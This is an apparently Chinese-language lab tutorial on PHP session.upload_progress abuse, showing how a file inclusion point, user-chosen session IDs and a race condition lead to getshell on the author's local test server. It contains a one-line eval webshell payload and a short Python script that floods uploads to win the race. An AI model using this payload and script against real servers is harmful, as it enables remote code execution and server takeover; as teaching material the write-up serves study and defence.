session.upload_progress

在php的配置文件中,有个session.upload_progress的配置项,相关参数的配置如下

1
2
3
4
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

enabled=on表示当向服务器上传文件时,php会把该文件上传的相关进度信息存储在session中;
cleanup=on这代表当POST上传的文件完成上传时,上述存储在session中的上传进度信息便会被清除掉
prefix该参数的值是作为文件上传进度的键的前缀,默认值为”upload_progress_”
name该参数的值是作为上传进度信息的键,默认名为”PHP_SESSION_UPLOAD_PROGRESS”,它的值紧跟在prefix后面,如果上传文件时没有传递该参数名的值,那么上传的进度将不会被记录。
综上也就是说在上传文件时,若PHP检测到了PHP_SESSION_UPLOAD_PROGRESS变量,它会在session中创建一个由prefixname连接起来的值作为索引,接着就会记录文件上传的进度信息。
例如上传文件时,同时POST了'PHP_SESSION_UPLOAD_PROGRESS':'hello',那么记录上传进度的文本将会以upload_progress_hello开头,存储在session中,如图

由此可见,name的值是可以被我们控制的,如果我们将其值写成一段php代码,那它也会被记录在session中,如果我们去访问该session文件,这段代码就会被解析执行。

session.use_strict_mode和session.auto_start

session.auto_start该参数如果是开启状态,意味着PHP在接收请求的时候会自动初始化Session。
session.use_strict_mode该参数的值若为0,意味着session ID可以由用户定义,例如在Cookie里设置PHPSESSID=YXX,那么PHP会在服务器上创建一个’sess_’+’PHPSESSID’的session文件,在这里也就是会生成文件名为sess_YXX的文件,并且存放路径一般在/temp下,可能会不一样,可以自行尝试。

文件包含

笔者自己搭建了一个环境,以上述原理来实现文件包含并执行命令的过程,首先需要提供文件包含的点,如图

下面是笔者的相关PHP环境配置

1
2
3
4
5
6
7
session.auto_start	On
session.upload_progress.cleanup On
session.upload_progress.enabled On
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefix upload_progress_
session.use_strict_mode 0
session.save_path G:\xampp\tmp

那么利用上面说的原理,我们可以像服务器上传一个文件,并且同时将PHP_SESSION_UPLOAD_PROGRESS的值设为一句话木马传过去,然后再去访问session文件,就可以getshell了。
不过还有个问题就是,session文件的内容当文件上传完成后便会立刻清空,正常来说是无法成功访问有效文件的,所以这里需要条件竞争,写个脚本不断上传文件,只要上传频率够快,一定会成功访问地到,下面给出十分简单的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests;

url='http://127.0.0.1/3/2.php';
header = {
'Cookie':'PHPSESSID=YXX'
}
data ={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["cmd"]);?>'
}
file={
'file':'2131242353523'
}

while(1):
response = requests.post(url,headers=header,data=data,files=file);
print("已发送");

让脚本不断上传文件,一边打开蚁剑去连接shell

可能会连接失败,但是多尝试几次,就可以连上,如图

  • 个人体会:
    • 学习永远都是不简单的事,需要耐心、时间还有坚持